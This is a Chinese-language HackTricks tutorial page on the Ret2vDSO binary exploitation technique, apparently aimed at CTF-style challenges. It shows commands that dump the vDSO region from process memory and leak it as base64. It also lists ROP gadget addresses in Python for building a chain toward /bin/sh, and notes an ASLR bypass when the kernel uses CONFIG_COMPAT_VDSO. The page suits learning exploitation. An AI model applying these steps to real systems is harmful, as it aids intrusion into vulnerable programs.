> For the complete documentation index, see [llms.txt](https://hacktricks.xsx.tw/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacktricks.xsx.tw/binary-exploitation/rop-return-oriented-programing/ret2vdso.md). # Ret2vDSO
从零开始学习AWS黑客技术，成为专家 htARTE（HackTricks AWS Red Team Expert）！ 支持HackTricks的其他方式： * 如果您想看到您的**公司在HackTricks中做广告**或**下载PDF格式的HackTricks**，请查看[**订阅计划**](https://github.com/sponsors/carlospolop)! * 获取[**官方PEASS & HackTricks周边产品**](https://peass.creator-spring.com) * 探索[**PEASS家族**](https://opensea.io/collection/the-peass-family)，我们的独家[**NFTs**](https://opensea.io/collection/the-peass-family)收藏品 * **加入** 💬 [**Discord群**](https://discord.gg/hRep4RUj7f) 或 [**电报群**](https://t.me/peass) 或 **关注**我们的**Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks_live)**。** * 通过向[**HackTricks**](https://github.com/carlospolop/hacktricks)和[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github仓库提交PR来分享您的黑客技巧。
## 基本信息 vDSO区域中可能存在**gadgets**，用于从用户模式切换到内核模式。在这类挑战中，通常会提供一个内核镜像来转储vDSO区域。 根据中的示例，可以看到如何转储vdso部分并将其移动到主机。 ```bash # Find addresses cat /proc/76/maps 08048000-08049000 r--p 00000000 00:02 317 /target 08049000-0804a000 r-xp 00001000 00:02 317 /target 0804a000-0804b000 rw-p 00002000 00:02 317 /target f7ff8000-f7ffc000 r--p 00000000 00:00 0 [vvar] f7ffc000-f7ffe000 r-xp 00000000 00:00 0 [vdso] fffdd000-ffffe000 rw-p 00000000 00:00 0 [stack] # Dump it dd if=/proc/76/mem of=vdso bs=1 skip=$((0xf7ffc000)) count=$((0x2000)) 8192+0 records in 8192+0 records out 8192 bytes (8.0KB) copied, 0.901154 seconds, 8.9KB/s # Compress and leak it gzip vdso base64 vdso.gz # Decompress and check of gadgets echo '' | base64 -d | gzip -d - > vdso file vdso ROPgadget --binary vdso | grep 'int 0x80' ``` 找到的ROP gadgets: ```python vdso_addr = 0xf7ffc000 int_0x80_xor_eax_eax_ret_addr = 0x8049010 bin_sh_addr = 0x804a800 # 0x0000057a : pop edx ; pop ecx ; ret pop_edx_pop_ecx_ret_addr = vdso_addr + 0x57a # 0x00000cca : mov dword ptr [edx], ecx ; add esp, 0x34 ; pop ebx ; pop esi ; pop edi ; pop ebp ; ret mov_dword_ptr_edx_ecx_ret_addr = vdso_addr + 0xcca # 0x00000ccb : or al, byte ptr [ebx + 0x5e5b34c4] ; pop edi ; pop ebp ; ret or_al_byte_ptr_ebx_pop_edi_pop_ebp_ret_addr = vdso_addr + 0xccb # 0x0000015cd : pop ebx ; pop esi ; pop ebp ; ret pop_ebx_pop_esi_pop_ebp_ret = vdso_addr + 0x15cd ``` {% hint style="danger" %} 因此请注意，如果内核使用CONFIG\_COMPAT\_VDSO编译，则可能通过滥用vdso来**绕过ASLR**，因为vdso地址不会被随机化： {% endhint %} ### ARM64 在kali 2023.2 arm64中转储并检查二进制文件的vdso部分后，我没有找到任何有趣的gadget（无法从堆栈中的值控制寄存器或控制x30以进行返回），**除了一种调用SROP的方法**。在页面的示例中查看更多信息： {% content-ref url="/pages/F5i5Tm54yIL5OfTR6BkG" %} [SROP - ARM64](/binary-exploitation/rop-return-oriented-programing/srop-sigreturn-oriented-programming/srop-arm64.md) {% endcontent-ref %}
从零开始学习AWS黑客技术，成为专家 htARTE（HackTricks AWS Red Team Expert）！ 支持HackTricks的其他方式： * 如果您想看到您的**公司在HackTricks中做广告**或**下载PDF格式的HackTricks**，请查看[**订阅计划**](https://github.com/sponsors/carlospolop)! * 获取[**官方PEASS & HackTricks周边产品**](https://peass.creator-spring.com) * 发现[**PEASS Family**](https://opensea.io/collection/the-peass-family)，我们的独家[**NFTs**](https://opensea.io/collection/the-peass-family)收藏品 * **加入** 💬 [**Discord群**](https://discord.gg/hRep4RUj7f) 或 [**电报群**](https://t.me/peass) 或 **关注**我们的**Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks_live)**。** * 通过向[**HackTricks**](https://github.com/carlospolop/hacktricks)和[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github仓库提交PR来分享您的黑客技巧。